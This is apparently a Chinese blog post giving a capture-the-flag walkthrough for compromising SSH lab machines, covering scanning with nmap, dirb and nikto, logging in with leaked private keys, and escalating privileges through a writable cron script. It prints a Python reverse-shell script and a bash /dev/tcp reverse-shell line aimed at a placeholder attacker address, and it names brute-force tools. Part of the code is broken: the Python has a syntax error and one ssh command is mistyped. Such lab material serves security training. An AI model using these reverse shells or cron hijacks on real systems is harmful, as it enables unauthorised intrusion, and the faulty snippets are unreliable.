CTF-SSH服务测试-实例

SSH协议介绍

        是Secure Shell的缩写,是建立在应用层基础上的安全协议;

        是专门为远程登录会话和其他网络服务提供安全性的协议;

        是基于TCP22号端口的服务

SSH协议认证机制

基于口令的安全验证

        只要知道自己账号和口令,就可以登录到远程主机上;传输数据会被加密,但是不能防止“中间人攻击”

基于密钥的安全验证

         公用密钥放在需要访问的服务器上;服务器收到连接请求之后,先在该服务器上你的主目录下寻找你的公钥,然后对比私钥,如果一致则验证成功。

        私钥id_rsa、公钥id_rsa.pub

SSH协议验证机制弱点

基于口令的安全验证

        可以基于字典的暴力破解,破解对应用户名和密码,但不一定能获得root权限

基于密钥的安全验证

        通过对主机信息收集获取到泄露的用户名和对应密钥 

chmod 600 id_rsa    //设置只有文件所有者有读写权限,符合ssh私钥的安全要求
ssh -i id_rsa 用户名@主机地址    

        -i id_rsa:指定要使用的私钥

        主机地址:ip或域名 

实验环境

一般步骤

信息探测

靶场开放的服务与服务的版本

nmap -sV ip

靶场全部信息

nmap -A IP

分析探测结果

对于ssh服务的22端口的靶场,考虑:

        暴力破解

        私钥泄露(私钥有无密钥、是否可以找到私钥用户名)

 对于开放http服务的80端口或其他端口的靶场;

        通过浏览器访问

http://ip:http端口号

        使用探测工具探测目录

dirb http://ip:http端口号

        特殊端口:大于1024

挖掘敏感信息

 递归访问目录页面

尤其对robots.txt等一些敏感的目录进行访问,寻找关于id_rsa的信息

也可以使用nikto -host IP 来挖掘敏感信息

利用敏感、弱点信息

对ssh密钥利用

1、修改id_rsa权限

chmod 600 id_rsa

2、利用私钥登录服务器

ssh -i -d_rsa username@靶场地址

如果私钥有解密密码需要进行破解

过程:

 登录到服务器当中:

登录服务器之后的操作

切换到/home目录,ls查看有哪些用户 

查看当前用户whoami

id查看当前用户的权限

查看根目录寻找flag文件

如果不是root权限则需要提权

cat /etc/passwd        查看所有用户列表 
cat /etc/group        查看用户组
find / -user 用户名        查看属于某些用户的文件
/tmp        查看缓冲文件目录

深入挖掘(提权方法)

        /etc/crontab文件,是 Linux 系统中用于定义 系统级定时任务 的配置文件,通常只有 root 用户才能修改。但普通用户可以查看它,并可能利用其中的定时任务进行权限提升(提权)。

        cat /etc/crontab 查看其他用户是否有定时任务,并查看对应的任务内容,执行任务肯定对应靶机的某个文件

利用缺失的定时任务文件

例如,/etc/crontab 中有如下任务:

* * * * * victim-user /home/victim-user/backup.sh

但/home/victim-user/backup.sh 不存在 或 可被当前用户写入

创建恶意脚本(反弹 Shell)

#!/usr/bin/python
import os,subprocess,socket

s = socket.socket.(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击机IP地址","攻击机监听端口"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])
echo "bash -c 'bash -i >& /dev/tcp/攻击者IP/端口 0>&1'" > /home/victim-user/backup.sh
chmod +x /home/victim-user/backup.sh

在攻击机上监听

查看攻击机已占用端口,已占用则不能使用其监听

netstat -pantu

 监听端口

nc -lvnp 端口

等待定时任务执行,获取 victim-user 的 Shell

万不得已

对ssh服务进行暴力破解,破解工具如hydra、medusa等

利用cupp创建字典

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值